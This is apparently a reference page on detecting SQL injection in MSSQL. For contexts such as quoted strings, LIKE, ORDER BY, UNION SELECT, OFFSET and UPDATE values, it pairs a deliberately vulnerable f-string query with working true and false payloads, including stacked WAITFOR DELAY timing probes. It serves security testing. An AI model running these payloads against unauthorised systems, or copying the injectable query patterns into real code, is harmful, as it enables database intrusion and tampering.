Skip to content

Testing

MSSQL injection-context testing

The injection context is the exact position occupied by input in the source query. A numeric expression, quoted string, ORDER BY expression, and OFFSET term accept different SQL grammar. Source review reveals that position directly; without source access, paired controls can identify it from application behavior.

Each example supplies two syntactically valid MSSQL inputs that differ only in one controlled result. A repeatable difference between the two responses confirms that the input changes SQL evaluation. A database error by itself proves only that malformed input reached some error path.

Numeric predicate

This pattern also covers numeric expressions inside WHERE, HAVING, and ON predicates.

query = f"SELECT id, name FROM items WHERE id = {user_input}"
1 AND 1=1
1 AND 1=2

The first control returns row 1; the second returns no rows.

Quoted-string predicate

query = f"SELECT id, username FROM users WHERE username = '{user_input}'"
maria' AND 1=1-- -
maria' AND 1=2-- -

The first control preserves the maria row and the second removes it. The comment consumes the source code’s closing quote.

LIKE predicate

query = f"SELECT id, name FROM items WHERE name LIKE '%{user_input}%'"
%' AND 1=1-- -
%' AND 1=2-- -

The first control leaves a match-all LIKE '%%' predicate followed by a true condition; the second makes the predicate false.

ORDER BY expression

query = f"SELECT id, name, count FROM items ORDER BY {user_input}"
CASE WHEN 1=1 THEN count ELSE id END
CASE WHEN 1=2 THEN count ELSE id END

The first control sorts by count; the second sorts by id. Both branches use compatible numeric types and produce a deterministic comparison.

GROUP BY expression

query = f"SELECT COUNT(*) FROM items GROUP BY {user_input}"
CASE WHEN 1=1 THEN category ELSE name END
CASE WHEN 1=2 THEN category ELSE name END

With repeated categories and unique names, the first control returns category-sized groups and the second returns one group per name.

UNION SELECT

query = f"SELECT id, name FROM items WHERE id = {user_input}"
-1 UNION SELECT NULL,'sql-test'-- -
-1

The first control adds a visible sql-test row and the second returns no rows. This source query has two output columns; a different query requires matching its column count and compatible MSSQL types.

OFFSET expression

query = f"SELECT id, name FROM items ORDER BY id OFFSET {user_input} ROWS FETCH NEXT 1 ROWS ONLY"
(CASE WHEN 1=1 THEN 0 ELSE 1 END)
(CASE WHEN 1=2 THEN 0 ELSE 1 END)

The first control returns the first ordered row and the second returns the next row.

Writable value expression

Use only a disposable lab row because both controls intentionally update data.

update_query = f"UPDATE items SET count = {user_input} WHERE id = 1"
insert_query = f"INSERT INTO items (count) VALUES ({user_input})"
CASE WHEN 1=1 THEN 7 ELSE 8 END
CASE WHEN 1=2 THEN 7 ELSE 8 END

Reading the written row back shows 7 for the first control and 8 for the second.

Dynamic SELECT expression

query = f"SELECT {user_input} FROM users ORDER BY id"
CASE WHEN 1=1 THEN username ELSE CAST(id AS NVARCHAR(4000)) END
CASE WHEN 1=2 THEN username ELSE CAST(id AS NVARCHAR(4000)) END

The returned values switch between username and the text form of id. A strict allowlist of column names prevents this expression context from being injectable.

Time-based confirmation

query = f"SELECT id, name FROM items WHERE id = {user_input}"
1; WAITFOR DELAY '0:0:0'-- -
1; WAITFOR DELAY '0:0:5'-- -

Both controls preserve row 1. The second control delays the response by approximately five seconds. This form requires stacked statement execution.

Find by: mssql, sql server, sql injection testing, source review, true false control, time based control, waitfor delay, where, having, on, quoted string, like, order by, group by, union select, offset fetch, insert update value, dynamic select